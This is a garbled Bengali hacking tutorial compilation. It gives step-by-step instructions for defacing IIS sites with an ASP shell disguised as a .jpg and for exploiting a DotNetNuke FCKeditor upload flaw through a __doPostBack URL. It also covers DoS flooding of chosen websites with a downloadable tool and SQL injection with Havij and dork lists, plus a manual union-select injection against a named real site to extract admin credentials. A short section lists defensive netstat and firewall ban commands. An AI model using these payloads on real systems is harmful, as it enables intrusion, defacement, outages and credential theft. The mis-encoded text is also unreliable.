এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik
কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
